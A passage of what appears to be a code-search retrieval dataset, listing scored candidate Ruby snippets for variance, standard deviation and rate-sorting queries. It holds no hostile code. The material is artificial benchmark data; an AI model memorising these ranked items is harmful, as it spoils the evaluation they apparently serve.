"text": "def get_variance\n\t\tif @eleves.length == 0 \n\t\t\treturn -1\n\t\tend\n\t\tsomme = 0\n\t\tmean = self.get_mean\n\t\t@eleves.each do |e|\n\t\t\tsomme += (e.moyenne.to_i - mean)**2\n\t\tend\n\t\tsomme/=@eleves.length \n\tend",
"title": ""
},
{
"docid": "ed96549d9ffbc6d766bb4deb6f275083",
"score": "0.57876617",
"text": "def update values\n @average = [values].flatten.inject(@average){|a, v| a = a * @decay + (1 - @decay) * v}\n end",
"title": ""
},
{
"docid": "5ac36e1440e24304aec3b4981cd72011",
"score": "0.5756228",
"text": "def get_variance\n return 1.0/12.0 * (@upper-@lower)**2\n end",
"title": ""
},
{
"docid": "1b642f9200f66830ebc69baf14ea852b",
"score": "0.5735709",
"text": "def variance\n stats.variance\n end",
"title": ""
},
{
"docid": "736d32aa2f2f54a65436a4f32785fc4a",
"score": "0.57281053",
"text": "def estimated_variance(others)\n return 0.0 if others.length < 1\n others.reduce(0) do |v, other|\n e_other = expected_fractional_score(other)\n v + other.gravity ** 2 * e_other * (1 - e_other)\n end ** -1\n end",
"title": ""
},
{
"docid": "f8ece93106b413add0b47c380be95be7",
"score": "0.57217586",
"text": "def deviation \n size==0 ? nil : Math::sqrt(variance)\n end",
"title": ""
},
{
"docid": "a9552ebd4205f1cee4560b00d4e0c13e",
"score": "0.5698028",
"text": "def subtotal2\n @subtotal2 = @subtotal1 + @variance\n end",
"title": ""
},
{
"docid": "fe2e9e24f780ac74e9a06836ce9812d0",
"score": "0.5692031",
"text": "def variance_sample m=nil\n @vector.variance_sample m\n end",
"title": ""
},
{
"docid": "4042c06610e480d9eafe8bebfd6c1a05",
"score": "0.56788015",
"text": "def variance_at_completion\n budget_at_completion - estimate_at_completion_cost\n end",
"title": ""
},
{
"docid": "3106896931bfb647c0cc3669ba0cbb07",
"score": "0.56635976",
"text": "def variance(sample = false)\n a = numerify\n avg = a.average\n sum = a.inject(0) { |sum, value| sum + (value - avg) ** 2}\n (1 / (a.length.to_f - (sample ? 1 : 0)) * sum)\n end",
"title": ""
},
{
"docid": "46198e57b42e2d795f62886110ec4ca9",
"score": "0.5659809",
"text": "def sample_variance(values, mean)\n begin\n values.map { |item| (item - mean) ** 2 }.inject(&:+) / (values.size - 1)\n rescue ZeroDivisionError\n values.map { |item| (item - mean) ** 2 }.inject(&:+) / values.size\n end\n end",
"title": ""
},
{
"docid": "41860da5991b8dfed8d7bb9c4002d77b",
"score": "0.5631975",
"text": "def variance(array)\n arr_mean = mean(array)\n sum = 0.0\n array.each { |value| sum += (value - arr_mean)**2 }\n sum / array.size\nend",
"title": ""
},
{
"docid": "bb56462a2557a29b89db510da6ad6f53",
"score": "0.55696565",
"text": "def variance\n n = 0\n mean = 0.0\n s = 0.0\n numeric_items.each { |x|\n n = n + 1\n delta = x - mean\n mean = mean + (delta / n)\n s = s + delta * (x - mean)\n }\n # if you want to calculate std deviation of a sample change this to \"s / (n-1)\"\n return s / n\n end",
"title": ""
},
{
"docid": "e3bfab3fce9ef94ddc32c59267511db8",
"score": "0.55197906",
"text": "def variance_sample m=nil\n m ||= mean\n if @data.respond_to? :variance_sample\n @data.variance_sample m\n else\n sum_of_squares(m).quo(size - count_values(*Daru::MISSING_VALUES) - 1)\n end\n end",
"title": ""
},
{
"docid": "c95194a6857ce14addc1c3adb035e9d8",
"score": "0.5516974",
"text": "def benchvariation\n if @london_flag == 'Y'\n @benchvariance = @benchsubtotal1 * @benchmark_rates['M144'].to_f\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "7c71427f8b30a8113da2864f948af805",
"score": "0.5515106",
"text": "def standard_deviation\n\t\t\tBigDecimal.new(variance).sqrt(5)\n\t\tend",
"title": ""
},
{
"docid": "58f89fe8fe7dd87968725eebb4cf8c88",
"score": "0.5487338",
"text": "def inject_zero_storage!\n null_curve = Array.new(8760, 0.0)\n\n @node.dataset_set(@context.curve_name(:input), null_curve)\n @node.dataset_set(@context.curve_name(:output), null_curve)\n\n inject_storage(0.0) { Array.new(8760, 0.0) }\n end",
"title": ""
},
{
"docid": "c8355866b5447ee143aba14efebb603e",
"score": "0.5486162",
"text": "def variance\n if @london_flag == 'Y'\n @variance =\n if @supplier_name\n @subtotal1 * @rate_card.data['Variances'][@supplier_name]['London Location Variance Rate (%)'].to_f\n else\n @subtotal1 * @benchmark_rates['M144'].to_f\n end\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "28b3f768ade3e35b36415b28a9c9948b",
"score": "0.5415397",
"text": "def zero_weight_update_values\n weight_update_values = []\n 26.times do weight_update_values << 0.0 end\n\n weight_update_values\n end",
"title": ""
},
{
"docid": "1dc56bf2c086e8196f2de167705853e1",
"score": "0.54075354",
"text": "def variance(data)\n m = mean(data)\n\n squares = 0\n data.each do |n|\n squares = squares + (n - m)**2\n end\n\n return squares / (count(data) - 1)\n end",
"title": ""
},
{
"docid": "443b0c1489a7dfabe8f5c2574bb199ba",
"score": "0.540416",
"text": "def variance\n temp = flatten.compact\n return nil if temp.empty?\n return 0 if temp.size == 1\n m = temp.mean\n temp.collect {|v| (v - m)**2 }.mean\n end",
"title": ""
},
{
"docid": "b224ce4fd00306f5b08fe37d89468266",
"score": "0.5402306",
"text": "def clear_stats\n $phase_sum = 0.0\n $errbd_sum = 0.0\n $phase_count = 0\n $errbd_count = 0\n $errbd_max = 0.0\nend",
"title": ""
},
{
"docid": "76a5c4d1fa61885444d22de057f64254",
"score": "0.5402257",
"text": "def var\n m = self.mean\n sum = self.inject(0.0){|accum, i| accum +(i-m)**2 }\n sum/self.length\n end",
"title": ""
},
{
"docid": "740536285b82398cd364c442c78e0b4b",
"score": "0.5396039",
"text": "def stddev\n\t\tMath.sqrt(variance)\n\tend",
"title": ""
},
{
"docid": "740536285b82398cd364c442c78e0b4b",
"score": "0.5396039",
"text": "def stddev\n\t\tMath.sqrt(variance)\n\tend",
"title": ""
},
{
"docid": "68b9c2a2651ad119b48938cd37d20476",
"score": "0.538707",
"text": "def variance_population m=nil\n @vector.variance_population m\n end",
"title": ""
},
{
"docid": "fa0caec9e1a4ec7ffb2f81267c8ef67b",
"score": "0.5380985",
"text": "def variance\n Variance.new(self)\n end",
"title": ""
},
{
"docid": "53fef842b4c23c407fd86d1c6916f227",
"score": "0.5374181",
"text": "def variance\n # Calculate the mean average a single time rather than once per iteration\n mean = self.mean\n\n # Calculate (element - mean) ^ 2 for all elements, add the results together and divide by (n - 1)\n map { |element| (element - mean) ** 2 }.sum / (count - 1).to_f\n end",
"title": ""
},
{
"docid": "0af98c97221ce3fd8b75d85f5355f60c",
"score": "0.5364147",
"text": "def variance\n sum = 0.0\n @diff_abs_pairs.each do |pair|\n #pp pair\n sum += (pair[1] - expected_error(pair[0]) )**2\n end\n sum\n end",
"title": ""
},
{
"docid": "5c3ff765c9d549111fd1aac98cc86675",
"score": "0.5333069",
"text": "def variance_population m=nil\n m ||= mean\n if @data.respond_to? :variance_population\n @data.variance_population m\n else\n sum_of_squares(m).quo(size - count_values(*Daru::MISSING_VALUES)).to_f\n end\n end",
"title": ""
},
{
"docid": "063e574509e7d144fee3225464f76ed0",
"score": "0.52954817",
"text": "def calculate_variance(plan_id = 1, mean, n)\n plan_months = Payment.joins(:plan_payments).where('plan_payments.plan_id' => plan_id).pluck(:months)\n sum = 0\n plan_months.each do |x|\n sum += ((x - mean) ** 2)\n end\n sum / (n-1)\n end",
"title": ""
},
{
"docid": "e3ac89e1d6c4d1ae709502e418c7aecd",
"score": "0.5286002",
"text": "def stddev\n Math.sqrt(variance)\n end",
"title": ""
},
{
"docid": "172551e7251e6221b65fafcf86fd10cb",
"score": "0.52764404",
"text": "def convergence\n variance\n end",
"title": ""
},
{
"docid": "c1aac85a9edeb71b740960204085c609",
"score": "0.52232254",
"text": "def standard_deviation\n Math.sqrt(variance)\n end",
"title": ""
},
{
"docid": "c1aac85a9edeb71b740960204085c609",
"score": "0.52232254",
"text": "def standard_deviation\n Math.sqrt(variance)\n end",
"title": ""
},
{
"docid": "64c6c35119b638bd4cc2847bb9f9d2aa",
"score": "0.52194476",
"text": "def set_values(nv, dv, snv, sdv)\n @nv = nv\n @dv = dv\n @snv = snv\n @sdv = sdv\n if nv == 0 and dv == 0\n @number = BigDecimal(0)\n else\n @number = BigDecimal(nv)/BigDecimal(dv)\n end\n end",
"title": ""
},
{
"docid": "c78db743a85467d3332ed3608346fc6d",
"score": "0.52023584",
"text": "def stdev\n Math.sqrt(variance)\n end",
"title": ""
},
{
"docid": "4e2b08aadb74f4f41d82a12665d22c13",
"score": "0.5201275",
"text": "def variance\n\t\tavg = mean\n\t\tsummation = predictions.inject(0.0) {|sum, pred| sum + (pred.error - avg)**2 }\n\t\tsummation / (predictions.size - 1)\n\tend",
"title": ""
},
{
"docid": "4352f2031ba9e746d69fb009e7bfdcce",
"score": "0.519682",
"text": "def variance\n n = weights.n\n w_sum = n.to_f\n e = expectation\n\n wij = weights.sparse.coordinates\n\n s1 = s1_calc(wij)\n s2 = s2_calc(n, wij, weights.sparse.row_index)\n s3 = s3_calc(n, x)\n\n s4 = (n**2 - 3 * n + 3) * s1 - n * s2 + 3 * (w_sum**2)\n s5 = (n**2 - n) * s1 - 2 * n * s2 + 6 * (w_sum**2)\n\n var_left = (n * s4 - s3 * s5) / ((n - 1) * (n - 2) * (n - 3) * w_sum**2)\n var_right = e**2\n var_left - var_right\n end",
"title": ""
},
{
"docid": "58d3788f940d227ad007f84a947ced1a",
"score": "0.51820266",
"text": "def add_zeros\n self.total_kwhs_logged = 0\n self.total_electricitybill_days_logged = 0\n self.total_electricity_savings = 0\n self.total_gallons_logged = 0\n self.total_waterbill_days_logged = 0\n self.total_water_savings = 0\n self.total_therms_logged = 0\n self.total_heatbill_days_logged = 0\n self.total_gas_savings = 0\n self.total_carbon_savings = 0\n self.total_pounds_logged = 0\n end",
"title": ""
},
{
"docid": "c8afbd56be462d37e3bb94cba3e103ce",
"score": "0.5176476",
"text": "def variance\n\t\treturn variance_population\n\tend",
"title": ""
},
{
"docid": "8d88bdcdc4228ea4e8bf5cf75684a430",
"score": "0.5158429",
"text": "def stddev\n Math::sqrt(@variance)\n end",
"title": ""
},
{
"docid": "6b58a2fc3b8ec948c30652eab54eb82d",
"score": "0.5142095",
"text": "def variance(bias=:unbiased)\n\t\t\treturn false if !self.numeric?\n\t\t\treturn central_moment(2) * Float(length)/(length - 1) if (bias == :unbiased)\n\t\t\treturn central_moment(2) \n\t\tend",
"title": ""
},
{
"docid": "e7c724c1597c12b042c26632f0f4ad87",
"score": "0.5116792",
"text": "def measure() @measure ||= (nb_weight == 0.0 ? 0.0 : sum_weight / nb_weight) end",
"title": ""
},
{
"docid": "5bc51d3e06dda42ba064c55458e035a3",
"score": "0.5114758",
"text": "def show_variance(stat_name)\n config_val(stat_name, 'show_variance')\n end",
"title": ""
},
{
"docid": "b2fefdb6d402bfdc6ee10a0e1da4726b",
"score": "0.51031786",
"text": "def calc_pv()\n i = @i / 100.0\n #Initial contribution\n pvf = @fv / ((1 + i) ** @n)\n #Present value of annuity\n pva = (@pmt/i) * (1-(1/((1+i)**@n)))\n @pv = (pvf + pva) * (-1)\n #Round\n @pv = (@pv*100).round / 100.0\n end",
"title": ""
},
{
"docid": "1368c120a8e8f22a8e46d9e3486f4758",
"score": "0.5083444",
"text": "def visit_axiom_aggregate_variance(variance)\n unary_prefix_operation_sql(VARIANCE, variance)\n end",
"title": ""
},
{
"docid": "8f8324e63ab94feb128531edb3d84675",
"score": "0.5079283",
"text": "def sigma(array)\n Math.sqrt(variance(array))\nend",
"title": ""
},
{
"docid": "bb117f6b9aa148f42ac254c4c70b9cdd",
"score": "0.506927",
"text": "def variance(dimen=0)\n reduce_dtype = nil\n if integer_dtype? then\n reduce_dtype = :float64\n end\n m = mean(dimen)\n inject_rank(dimen, 0.0, reduce_dtype) do |var, sub_mat|\n var + (m - sub_mat)*(m - sub_mat)/(shape[dimen]-1)\n end\n end",
"title": ""
},
{
"docid": "9ea2a9185e4b519187df467b3a5203dc",
"score": "0.5068568",
"text": "def sd\n Math.sqrt(variance)\n end",
"title": ""
},
{
"docid": "cd40a351ca434e537a2fad94dd59fc60",
"score": "0.50651246",
"text": "def ssdev\n Math.sqrt(svariance)\n end",
"title": ""
},
{
"docid": "f0a2da4c45d43e8a79664186dda70e42",
"score": "0.50629807",
"text": "def pop_var\n return nil if length == 0\n average = avg\n 1 / length.to_f * inject(0) { |acc, i| acc + (i - average) ** 2 }\n end",
"title": ""
},
{
"docid": "ca407090ab49e974e9fa9b3bec9be5ae",
"score": "0.505341",
"text": "def vif # variance inflation factor\n @vif ||= 1 / ( 1 - r2 )\n end",
"title": ""
},
{
"docid": "834bb9d04e2c85f9bc0b8cc337e3eb6a",
"score": "0.504941",
"text": "def surface\n values.sum\n end",
"title": ""
},
{
"docid": "046aa61152d2b2984a3be86c0816ed6a",
"score": "0.5028612",
"text": "def set_percentage!\n self.percentage = [100 - Industry.sum(:percentage), 0].max unless self.percentage.presence\n end",
"title": ""
},
{
"docid": "178baed9149eefd3870e41b0ff835b3e",
"score": "0.5013419",
"text": "def standard_deviation\n Math.sqrt(self.variance)\n end",
"title": ""
},
{
"docid": "f90ef6849f8e76cc1ee0b3abfcbe88c7",
"score": "0.5003524",
"text": "def constant_se\n estimated_variance_covariance_matrix[0,0]\n end",
"title": ""
},
{
"docid": "0503a8eb9284a409bb216a92038cd350",
"score": "0.50034404",
"text": "def set_acumen(student)\n student.average.nil? ? @acumen_one = 0 : @acumen_one = (100 - student.average.acumen_one).round(2)\n student.average.nil? ? @acumen_two = 0 : @acumen_two = (100 - student.average.acumen_two).round(2)\n end",
"title": ""
},
{
"docid": "c5f8ef347faceab53d812e6654493426",
"score": "0.49991053",
"text": "def variance_percent\n if [300, 700, 1200].include? upper_threshold\n 0.01\n elsif [2000, 2800].include? upper_threshold\n 0.015\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "2cd5caaddf3b4eb529aee7cc3a67684d",
"score": "0.4996406",
"text": "def variance(list)\n mean = list.mean\n mean_diff = list.inject(0) {|sum,element| sum += ( (element - mean) ** 2 ) }\n mean_diff / list.length\nend",
"title": ""
},
{
"docid": "e557cd87b525a87eeee96c7d4a91ee86",
"score": "0.49823824",
"text": "def acvf(demean=true, unbiased=true) # rubocop:disable Metrics/AbcSize,Metrics/MethodLength\n opts = {\n demean: true,\n unbaised: true\n }.merge(opts)\n\n demean = opts[:demean]\n unbiased = opts[:unbiased]\n demeaned_series = demean ? self - mean : self\n\n n = (10 * Math.log10(size)).to_i + 1\n m = mean\n d = if unbiased\n Array.new(size, size)\n else\n (1..size).to_a.reverse[0..n]\n end\n\n 0.upto(n - 1).map do |i|\n (demeaned_series * (lag(i) - m)).sum / d[i]\n end\n end",
"title": ""
},
{
"docid": "7859389570d34a994594deb9872bfd6a",
"score": "0.4975679",
"text": "def addNumberStatsForSingleSettingOfVarianceVariable run_object , values\r\n statsGuy = run_object\r\n # note non use of index to lookup value...\r\n ppAndFile \"-----------\", \"Doing stats on runs runs just numbers #{values.inspect}\"\r\n ppAndFile \"download times %'iles'\", VaryParameter.getDuplesFromClientsAndPercentile(\"createClientDownloadTimes\", statsGuy).join(\" \")\r\n ppAndFile \"download total times %'iles'\", VaryParameter.getDuplesFromClientsAndPercentile(\"createClientTotalDownloadTimes\", statsGuy).join(\" \")\r\n ppAndFile \"death methods\", statsGuy.getDeathMethodsAveraged.sort.join(\" \")\r\n\r\n ppAndFile \"server upload [received] distinct seconds [instantaneous server upload per second] %'iles'\",\r\n VaryParameter.getDuplesFromClientsAndPercentile(\"allServerServedPointsPartial\", statsGuy).join(\" \")\r\n\r\n ppAndFile \" instantaneous tenth of second throughput %'iles'\",\r\n VaryParameter.getDuplesFromClientsAndPercentile(\"totalThroughPutPointsPartial\", statsGuy).join(\" \")\r\n\r\n ppAndFile \"upload bytes %'iles'\", VaryParameter.getDuplesFromClientsAndPercentile(\"createClientTotalUpload\", statsGuy).join(\" \")\r\n ppAndFile \"dht gets\", VaryParameter.getDuplesFromClientsAndPercentile(\"multipleDHTGets\", statsGuy).join(\" \")\r\n ppAndFile \"dht puts\", VaryParameter.getDuplesFromClientsAndPercentile(\"multipleDHTPuts\", statsGuy).join(\" \")\r\n ppAndFile \"dht removes\", VaryParameter.getDuplesFromClientsAndPercentile(\"multipleDHTRemoves\", statsGuy).join(\" \")\r\n ppAndFile \"percentiles of percent received from just peers (not origin)\", VaryParameter.getDuplesFromClientsAndPercentile(\r\n \"createPercentFromClients\", statsGuy).join(\" \") # ltodo graphs for percent dT\r\n\r\n ppAndFile \"client upload sum percentiles:\", VaryParameter.getDuplesFromClientsAndPercentile(\"createClientTotalUpload\", statsGuy).join(\" \")\r\n ppAndFile \" :totalBytesReceivedFromPeersAcrossAllRuns #{statsGuy.totalBytesReceivedFromPeersAcrossAllRuns}, :totalBytesUploadedByServerAcrossAllRuns #{statsGuy.totalBytesUploadedByServerAcrossAllRuns} :totalBytesServedFromPeersAcrossAllRuns #{statsGuy.totalBytesServedFromPeersAcrossAllRuns}\"\r\n @totalBytesReceivedFromPeersAcrossAllRuns.plus_equals(statsGuy.totalBytesReceivedFromPeersAcrossAllRuns)\r\n @totalBytesUploadedByServerAcrossAllRuns.plus_equals(statsGuy.totalBytesUploadedByServerAcrossAllRuns)\r\n @totalBytesServedFromPeersAcrossAllRuns.plus_equals(statsGuy.totalBytesServedFromPeersAcrossAllRuns)\r\n #ltodo note how many opendht's never came back\r\n #ltodo say how many did not make it, too...\r\n print \"wrote stats to #{@outputFile.path}\\n\"\r\n end",
"title": ""
},
{
"docid": "1a18ced566660c293467afc8039f37d4",
"score": "0.4972471",
"text": "def var\n @var ||= (square_mean - mean ** 2) * n / (n - 1)\n end",
"title": ""
},
{
"docid": "ffa817d022f33ee9ed19c05f6d5ba250",
"score": "0.49694315",
"text": "def variance(population=false)\n m = mean.to_f\n map { |v| (v - m) ** 2 }.sum / (size - (population ? 0 : 1))\n end",
"title": ""
},
{
"docid": "845b9cff1b0befd0729da1a7f732d18a",
"score": "0.49659014",
"text": "def reset_diameter_statistics\n super\n end",
"title": ""
},
{
"docid": "65f65416f5518d775d22854fa3c5467c",
"score": "0.49611583",
"text": "def dette_cumulee\n\n dette_cumulee = 0\n \n self.distributions.each {\n |d|\n dette_cumulee += (d.dette == nil ? 0 : d.dette)\n \n }\n\n return dette_cumulee\n end",
"title": ""
},
{
"docid": "7251ff1052737ba1168d00973c01ac4e",
"score": "0.49559358",
"text": "def crunch_stats(value, n)\n\tmean = value.inject(:+)/n.to_f\n\tvariance = 0\t# <= technically, this is actually variance*n\n\tfeed_presence = 0\t\n\tvalue.each do |item|\n\t\tvariance += (item - mean)**2\n\t\tfeed_presence += 1 if item > 0\n\tend\n\tfeed_presence = feed_presence/n.to_f\n\tsd = Math.sqrt(variance/n)\n\treturn [mean,sd,feed_presence]\nend",
"title": ""
},
{
"docid": "3bba0d3c9190e2898408054377946b00",
"score": "0.4954342",
"text": "def standard_deviation\n return Math.sqrt(self.variance / (self.length - 1))\n end",
"title": ""
},
{
"docid": "c6b37433f5df16e3351237daaa2904da",
"score": "0.4951407",
"text": "def default_values\n \tself.total_worth ||= 0\n \tend",
"title": ""
},
{
"docid": "ad41d1afd861069360fb57ddefca231d",
"score": "0.49465674",
"text": "def varianza\n var = self.historiales.select(\"STDDEV_SAMP(valor) as desviacion\").first.desviacion\n if var == nil\n var = 0.0\n end\n var\n #self.historiales.select(\"STDDEV_SAMP(valor) as desviacion, fecha\").where(\"fecha BETWEEN ? AND ?\",12.months.ago, 1.day.from_now)\n #\"select STDDEV_SAMP(valor) from gestioncondominio.historialporindicadors\"\n end",
"title": ""
},
{
"docid": "75ab4d5727197548672270251bb4ea8f",
"score": "0.4942494",
"text": "def get_variance\n return (Math.exp(@sdlog**2) - 1) * Math.exp(2.0 * @meanlog + @sdlog**2)\n end",
"title": ""
},
{
"docid": "1d8b7608f18ca4c7a3388dc613246c14",
"score": "0.49382475",
"text": "def percent_change periods=1\n must_be_numeric!\n\n prev = nil\n arr = @data.each_with_index.map do |cur, i|\n if i < periods ||\n include_with_nan?(Daru::MISSING_VALUES, cur) ||\n include_with_nan?(Daru::MISSING_VALUES, prev)\n nil\n else\n (cur - prev) / prev.to_f\n end.tap { prev = cur if cur }\n end\n\n Daru::Vector.new(arr, index: @index, name: @name)\n end",
"title": ""
},
{
"docid": "875b88a8566cfdd13140a43d427d27b3",
"score": "0.49380037",
"text": "def get_baseline_sigma\n return Math.sqrt(self.get_baseline_variance)\n end",
"title": ""
},
{
"docid": "afeaa4e87942813ce966f859a2bfb6fa",
"score": "0.49078304",
"text": "def calculate_at_size(size)\r\n if size > self.data.size\r\n zero_fill = Array.new(size - @time_data.length, 0)\r\n @time_data = time_data.concat zero_fill\r\n elsif size < self.data.size\r\n @time_data = time_data.take(size)\r\n end\r\n self.strategy.data = time_data\r\n calculate\r\n end",
"title": ""
}
] |
36bda951db1259c3befec168355063fd
|
returns rates sorted by :position
|
[
{
"docid": "5cb2669c4f67d8f3618d22d44cb1cbab",
"score": "0.0",
"text": "def rate_hash\n @checkout.order.shipping_rate_hash\n end",
"title": ""
}
] |
[
{
"docid": "be8406498c73f90ff0de360bcc4a1433",
"score": "0.6664979",
"text": "def rates\n date = nearest_date\n\n [\n date.currencies.find{ |d| d.key == @to },\n date.currencies.find{ |d| d.key == @from }\n ]\n end",
"title": ""
},
{
"docid": "af600ca894f204c4d9b6afb198c11fe4",
"score": "0.6412817",
"text": "def rates\n return @rates if not @rates.nil?\n \n @rates = @rate_search_container.rates.collect { |x| RateDrop.new(x, @rate_search_container) } \n\n #drop uniq rates. could happen when there was a search for a rate code\n @rates = uniq_rates @rates\n\n return @rates\n end",
"title": ""
},
{
"docid": "486e29f921c11a73ea0fcfd1a1766c32",
"score": "0.6216925",
"text": "def rates\n result =[]\n DEFAULT_TYPES.each do |type|\n result << calculate_rate_from(type[:from], type[:to])\n end\n result\n end",
"title": ""
},
{
"docid": "e311f5d94d9c9bae63a8ef3d5312b5ff",
"score": "0.607657",
"text": "def rate\n return @rates\n end",
"title": ""
},
{
"docid": "aadaa186a0ddb24eb0ab19c8cfd1a108",
"score": "0.60071987",
"text": "def avatax_the_one_rate\n rates = all.to_a\n rates.sort_by(&:id).first\n end",
"title": ""
},
{
"docid": "bc02a289e293e416ba57999687c263b8",
"score": "0.59537256",
"text": "def currencies(options = {})\n sorting = options[:order]\n sorted_currencies = @api['rates'].map {|k, _| k}.sort\n sorted_currencies.reverse! if sorting == :desc\n sorted_currencies\n end",
"title": ""
},
{
"docid": "3800c5f96b278dc43f571633d9fe79d9",
"score": "0.5858366",
"text": "def rates\n fail_if_rates_missing\n @rates\n end",
"title": ""
},
{
"docid": "ea541c29392571a2c4451d6ca2cd5778",
"score": "0.5806244",
"text": "def rates\n store.each_rate.each_with_object({}) do |(from,to,rate),hash|\n hash[[from, to].join(SERIALIZER_SEPARATOR)] = rate\n end\n end",
"title": ""
},
{
"docid": "2d90cc04872eb6abc84f5f905868b634",
"score": "0.5774172",
"text": "def rates\n @samples.reduce([]) do |acc, (key, _)|\n acc << @samples[key].reduce(:+)\n end\n end",
"title": ""
},
{
"docid": "1bd0d77cfd6a4de77539dbcc42cacc7f",
"score": "0.5695477",
"text": "def sorting_rating\n rating = @sorted.restaurants.sort_by(&:rating).reverse.map(&:to_a)\n reset_counter(rating)\n end",
"title": ""
},
{
"docid": "87b3ae125318b0d90b6d0576919368c4",
"score": "0.565374",
"text": "def rates_by_st(st, sql_start, per_page)\n Rate.find_by_sql [\"SELECT rates.id, rates.tariff_id, rates.destination_id, destinations.direction_code, prefix, city, state, lata, subcode, tier, ocn, destinations.name as destination_name FROM destinations, rates, directions WHERE rates.tariff_id = ? AND destinations.id = rates.destination_id AND directions.code = destinations.direction_code AND directions.name like ? GROUP BY rates.id ORDER BY directions.name ASC, destinations.prefix ASC LIMIT \" + sql_start.to_s + \",\" + per_page.to_s, self.id, st.to_s+'%']\n end",
"title": ""
},
{
"docid": "5c7eb4e8285927935b83d1690c4b58c0",
"score": "0.56291676",
"text": "def rates(date)\n build_rates(date)\n end",
"title": ""
},
{
"docid": "d7c4f1b3dbd0ed688d491dd4a7aeeb53",
"score": "0.5594013",
"text": "def index\n @books = Book.search(params[:search]).all.sort_by {|book| book.rate_count}.reverse\n end",
"title": ""
},
{
"docid": "3f4e68419b8fd23feeb7324a8af36a3d",
"score": "0.5588684",
"text": "def vat_rates( _shipping = self.shipping )\n\n rates = ActiveRecord::Base.connection.select_values(\"\n \tselect distinct vat from so_items\n \twhere supplier_order_id = #{id}\n \tand product_id is not null\n \")\n\n # Also take shipping into account\n str = self.shipping_tr\n tmp_shipping = _shipping.nil? ? 0 : _shipping\n if ((tmp_shipping > 0) && !rates.include?(str.to_s))\n rates.push str\n end\n\n vat_rates = []\n for r in rates\n \tvr = VatRate.new\n \tvr.rate = r.to_f\n \tvr.value = ActiveRecord::Base.connection.select_value(\"\n \t\tselect sum( qty * price * vat ) from so_items\n \t\twhere supplier_order_id = #{id}\n \t\tand vat = #{vr.rate}\n \t\").to_f\n \tvr.value += tmp_shipping * str if (vr.rate == str)\n \tvr.value = vr.value.round / 100.0\n \tvat_rates << vr\n end\n return vat_rates\n end",
"title": ""
},
{
"docid": "619eb131ce1e5f357e4378b786d2c531",
"score": "0.5542379",
"text": "def sorting_price\n price = @sorted.restaurants.sort_by(&:price).reverse.map(&:to_a)\n reset_counter(price)\n end",
"title": ""
},
{
"docid": "767a17f1566f2e5ae757779c7a5f4a72",
"score": "0.5494757",
"text": "def scores\n rounds.map{|round| round.score}.sort.reverse!\n end",
"title": ""
},
{
"docid": "fd1e4e77d792d66186ede31937e502e7",
"score": "0.54813766",
"text": "def extract_rates result\n rates_array = result.css('fx currency_code').children.map{|c| c.to_s.downcase.to_sym }.zip(result.css('fx rate').children.map{|c| BigDecimal.new(c.to_s) }).flatten\n to_hash!(rates_array)\n end",
"title": ""
},
{
"docid": "bc0b0d4623e0c145f44c5cba6dc13d0a",
"score": "0.54723614",
"text": "def places(scores)\n (scores || []).map(&:numeric_place).sort.reverse\n end",
"title": ""
},
{
"docid": "d5ef65d596001969c736e0d5e51bd68f",
"score": "0.5467616",
"text": "def ranking\n cuentas.to_a.sort_by(&:puntos).reverse\n end",
"title": ""
},
{
"docid": "617b91570b8530e223cfa6a5e2edb047",
"score": "0.5464459",
"text": "def top_resorts\n Resort.all.joins(:preference)\n .map { |resort| [resort, preference.score(resort.preference)] } # [[#<Resort....>, 67], [......]\n .sort_by { |pair| - pair[1] } # Sorting DESC\n .first(3)\n\n # [ { resort: resort, score: 54 }, {....}, ......] suggestion\n end",
"title": ""
},
{
"docid": "465439dc4a9e71190b878876066ef9dd",
"score": "0.54595214",
"text": "def shipment_rates\n order.shipments.flat_map do |shipment|\n calculate_rates(shipment)\n end\n end",
"title": ""
},
{
"docid": "443de27d1c7cddb32ffb8d442c11e286",
"score": "0.5444064",
"text": "def fetch_rates\n data = build_uri.read\n extract_rates(data)\n end",
"title": ""
},
{
"docid": "b3bf9887b998cb4eec35a8a49dda7440",
"score": "0.5429623",
"text": "def line_item_rates\n order.line_items.flat_map do |line_item|\n calculate_rates(line_item)\n end\n end",
"title": ""
},
{
"docid": "9464f4f4b9d439176a03840c94fd876b",
"score": "0.53847975",
"text": "def sorted_best_bets\n best_bets.sort_by(&:position)\n end",
"title": ""
},
{
"docid": "8addbfc363120c0a482d188d980ec519",
"score": "0.53798026",
"text": "def sorted_collection\n @player_cards.sort_by(&:score).reverse\n end",
"title": ""
},
{
"docid": "c7d2a38040747a3a4bf06ba88f730f29",
"score": "0.53797674",
"text": "def cars_sorted_by_price\n sort = []\n @inventory.each do |car|\n sort << car.loan_length * car.monthly_payment\n end\n sort\n end",
"title": ""
},
{
"docid": "be704f278c4ee075edb580b06e8d48b4",
"score": "0.53642255",
"text": "def sort_by_price\n coins.sort_by { |coin| coin.price['usd'] }.reverse\n end",
"title": ""
},
{
"docid": "a95cd580cd306c28617e798e70a7473a",
"score": "0.5351596",
"text": "def places(scores)\n (scores || []).map(&:numeric_place).sort.reverse\n end",
"title": ""
},
{
"docid": "8d809cc4d566d35f94e2db3b55f36417",
"score": "0.53397214",
"text": "def get_scores\n items_db = DYNAMODB.scan(table_name: TABLE_NAME).items\n items_hash = make_result_list(items_db)\n items = items_hash.sort_by { |hash| hash['score'] }\n make_response(HttpStatus::OK, items.reverse().first(10))\nend",
"title": ""
},
{
"docid": "7b956ae7f36105c7429eba8436594e7d",
"score": "0.53360224",
"text": "def rates_by_type(rateable_type)\n self.rates.includes(:rateable).for_rateable_type(rateable_type).all\n end",
"title": ""
},
{
"docid": "e6018a4086b039148c7e77ad03249bc3",
"score": "0.533268",
"text": "def movie_list rating, ordering\n Movie.where(rating: rating).order(ordering)\n end",
"title": ""
},
{
"docid": "7bc78caabf7cab82073f20d30640d279",
"score": "0.5316819",
"text": "def get_rates!\n if self.status\n Forex.forex_ticker.each do |key|\n self.rates[key]= self.all_rates[key]\n end\n end\n self.rates\n end",
"title": ""
},
{
"docid": "081804d67c82466d692b73ea3608696a",
"score": "0.53163165",
"text": "def get_scores\n @scores.sort { |a,b| b[1] <=> a[1] }\n end",
"title": ""
},
{
"docid": "9316682faa8380bf810a41f69e36d1f2",
"score": "0.5312202",
"text": "def index\n @comparisons = Comparison.order_by(:rank => 'asc')\n end",
"title": ""
},
{
"docid": "eab0491b0fbf29bb887bfeb851b38419",
"score": "0.53084964",
